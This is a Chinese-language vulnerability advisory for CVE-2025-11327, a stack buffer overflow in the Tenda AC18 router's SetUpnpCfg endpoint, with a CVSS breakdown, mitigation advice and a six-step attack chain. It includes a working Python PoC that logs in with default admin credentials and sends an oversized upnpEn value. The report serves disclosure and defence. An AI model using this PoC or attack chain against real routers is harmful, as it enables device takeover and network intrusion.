IPBUF安全漏洞报告
English
CVE-2025-11327 CVSS 8.8 高危

CVE-2025-11327:Tenda AC18路由器SetUpnpCfg接口栈缓冲区溢出漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11327
漏洞类型
栈缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC18

相关标签

缓冲区溢出栈溢出TendaAC18路由器UPnP远程代码执行IoT固件漏洞高危漏洞

漏洞概述

CVE-2025-11327是Tenda AC18路由器固件版本15.03.05.19(6318)中存在的安全漏洞。该漏洞位于/goform/SetUpnpCfg接口的未知代码部分,属于典型的UPnP配置处理功能中的安全缺陷。攻击者可以通过精心构造的upnpEn参数触发栈缓冲区溢出,从而实现远程代码执行。CVSS 3.1评分为8.8分,属于高危级别漏洞,攻击者可以从网络远程发起攻击,仅需低权限认证即可利用,无需用户交互。该漏洞的成功利用将对系统的机密性、完整性和可用性均产生高影响,可能导致路由器完全被攻击者控制,进而窃取网络流量、篡改路由配置或将其作为内网渗透的跳板。漏洞已于2025年10月6日公开披露,且利用方式已在公开渠道发布,修复紧迫性较高。Tenda AC18作为一款广泛应用于家庭和小型办公环境的无线路由器,其安全性直接关系到用户网络安全,因此该漏洞的影响范围值得关注。

技术细节

该漏洞存在于Tenda AC18路由器固件的/goform/SetUpnpCfg HTTP接口处理逻辑中。当用户通过Web管理界面或API调用配置UPnP功能时,服务器端程序会接收客户端传递的upnpEn参数。然而,该参数在处理过程中未进行充分的长度校验和边界检查,导致攻击者可以通过传递超长字符串来覆盖栈上的返回地址和关键数据。

具体利用方式如下:
1. 攻击者首先需要获取路由器的管理权限(低权限即可),通常通过默认凭证或已知弱口令实现;
2. 向/goform/SetUpnpCfg端点发送精心构造的HTTP POST请求;
3. 请求中包含超长upnpEn参数值,触发栈缓冲区溢出;
4. 溢出数据覆盖栈帧中的返回地址,劫持程序执行流;
5. 攻击者通过ROP链或shellcode实现远程代码执行,获取路由器shell权限。

由于该漏洞属于栈溢出类型,且攻击者无需用户交互即可远程触发,结合路由器作为网络基础设施的特殊地位,一旦被恶意利用,后果将十分严重。攻击者可在路由器上植入后门、窃取WiFi密码、劫持DNS流量或对内网设备发起进一步攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或Shodan等工具识别目标网络中存在Tenda AC18路由器,通过默认凭证(admin/admin)或社工方式获取管理密码。
STEP 2
步骤2:身份认证
使用获取的凭证登录路由器管理界面,获取有效的会话Cookie或认证令牌。
STEP 3
步骤3:构造恶意请求
向/goform/SetUpnpCfg接口发送包含超长upnpEn参数的HTTP POST请求,构造栈缓冲区溢出payload。
STEP 4
步骤4:触发溢出
服务器端程序处理upnpEn参数时,由于缺少边界检查导致栈缓冲区溢出,覆盖返回地址。
STEP 5
步骤5:执行恶意代码
通过ROP链或shellcode劫持程序执行流,在路由器上执行任意代码,获取shell权限。
STEP 6
步骤6:持久化与横向移动
植入后门程序,窃取WiFi密码,劫持DNS流量,或以路由器为跳板对内网其他设备发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11327 PoC - Tenda AC18 SetUpnpCfg Stack Buffer Overflow # Author: Security Researcher # Target: Tenda AC18 firmware 15.03.05.19(6318) import requests import sys from pwn import * TARGET_IP = "192.168.0.1" TARGET_PORT = 80 LOGIN_URL = f"http://{TARGET_IP}:{TARGET_PORT}/login/Auth" VULN_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/SetUpnpCfg" USERNAME = b"admin" PASSWORD = b"admin" def login(session): """Login to Tenda AC18 router with default credentials""" data = { "username": USERNAME, "password": PASSWORD } resp = session.post(LOGIN_URL, data=data, timeout=10) if resp.status_code == 200: print("[+] Login successful") return True return False def trigger_overflow(session): """Trigger stack buffer overflow via upnpEn parameter""" # Craft oversized upnpEn parameter to overflow stack buffer payload = b"A" * 1024 # Adjust length to overflow buffer data = { "upnpEn": payload.decode('latin-1') } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } print(f"[*] Sending malicious payload to {VULN_URL}") try: resp = session.post(VULN_URL, data=data, headers=headers, timeout=10) print(f"[+] Response status: {resp.status_code}") print(f"[+] Response body: {resp.text[:200]}") except Exception as e: print(f"[-] Request failed: {e}") def main(): session = requests.Session() if login(session): trigger_overflow(session) else: print("[-] Login failed, check credentials") if __name__ == "__main__": main()

影响范围

Tenda AC18 15.03.05.19(6318)

防御指南

临时缓解措施
在官方发布修复补丁前,建议用户采取以下临时缓解措施:1)立即修改路由器默认管理员密码,使用包含大小写字母、数字和特殊字符的强密码;2)禁用路由器的远程Web管理功能,仅允许内网访问管理界面;3)在防火墙中限制对路由器管理端口(80/443)的外部访问;4)监控路由器日志,警惕异常的UPnP配置请求;5)如非必要,禁用UPnP功能以减少攻击面;6)考虑使用替代路由器或临时关闭受影响设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表